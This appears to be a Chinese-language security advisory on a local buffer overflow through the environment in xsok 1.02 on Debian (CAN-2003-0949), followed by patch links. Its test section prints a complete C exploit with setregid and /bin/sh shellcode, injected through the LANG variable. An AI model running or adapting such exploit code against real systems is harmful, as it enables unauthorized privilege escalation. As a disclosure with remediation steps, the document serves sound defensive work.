XSOK环境变量本地命令执行漏洞
受影响系统:
Xsok Xsok 1.02
- Debian Linux 3.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 9321
CVE(CAN) ID: CAN-2003-0949
xsok是一款X11下的单机即时策略游戏。
xsok不正确处理环境变量数据,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以游戏GID权限在系统上执行任意指令。
目前没有详细漏洞细节提供。
<*来源:Debian Security Advisory
链接:http://www.debian.org/security/2002/dsa-405
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
c0wboy_at_0x333 提供了如下测试方法:
/* 0x333xsok => xsok 1.02 local game exploit
*
* Happy new year !
* coded by c0wboy
*
* (c) 0x333 Outsiders Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <unistd.h>
#define BIN "/usr/games/xsok"
#define RETADD 0xbffff3b8
#define SIZE 100
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"
/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
int main (int argc, char ** argv)
{
int i, ret = RETADD;
char out[SIZE];
fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n");
fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");
int *xsok = (int *)(out);
for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);
memcpy((char *)out, shellcode, strlen(shellcode));
setenv("LANG", out, 0x333); /* :) */
execl (BIN, BIN, 0x0);
}
建议:
--------------------------------------------------------------------------------
厂商补丁:
Debian
------
Debian已经为此发布了一个安全公告(DSA-405-1)以及相应补丁:
DSA-405-1:New xsok packages fix local group games exploit
链接:http://www.debian.org/security/2002/dsa-405
补丁下载:
Source archives:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2.dsc
Size/MD5 checksum: 575 5e3f7f8513b7fb3e8fa1ebfa56a2b4bc
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2.diff.gz
Size/MD5 checksum: 5616 6c17b1f0201f583c770b42334be33cb4
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02.orig.tar.gz
Size/MD5 checksum: 114085 f961b329e6577ebefcaa0acece9c94c8
Alpha architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_alpha.deb
Size/MD5 checksum: 69860 45a8699a82fb7da43a4ca28f9579fb62
ARM architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_arm.deb
Size/MD5 checksum: 64018 0f2ac33af74901cd52d31cb23e2b5b4f
Intel IA-32 architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_i386.deb
Size/MD5 checksum: 61822 35ede5adbfbdad30eb7ecdc1137f5f33
Intel IA-64 architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_ia64.deb
Size/MD5 checksum: 79138 5ff4f9683dce6582219d4907c3f3bc5c
HP Precision architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_hppa.deb
Size/MD5 checksum: 68178 fa756bb317a7162ac9df2a0b0576ee9a
Motorola 680x0 architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_m68k.deb
Size/MD5 checksum: 61204 6b32053cc307b3c9bfe4b3036fcab30f
Big endian MIPS architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_mips.deb
Size/MD5 checksum: 68402 b23adc954aaf6a23ac3e118d9c4150b6
Little endian MIPS architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_mipsel.deb
Size/MD5 checksum: 68338 061b40e0768f906db728cf9d3b8574e6
PowerPC architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_powerpc.deb
Size/MD5 checksum: 64626 6f95af173c40cc7e2d00501d80c0e308
IBM S/390 architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_s390.deb
Size/MD5 checksum: 64706 42386e9b13539154f214a20c464b9988
Sun Sparc architecture:
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_sparc.deb
Size/MD5 checksum: 66278 4d061f87360819298c481eb17dd43881
补丁安装方法:
1. 手工安装补丁包:
首先,使用下面的命令来下载补丁软件:
# wget url (url是补丁下载链接地址)
然后,使用下面的命令来安装补丁:
# dpkg -i file.deb (file是相应的补丁名)
2. 使用apt-get自动安装补丁包:
首先,使用下面的命令更新内部数据库:
# apt-get update
然后,使用下面的命令安装更新软件包:
# apt-get upgrade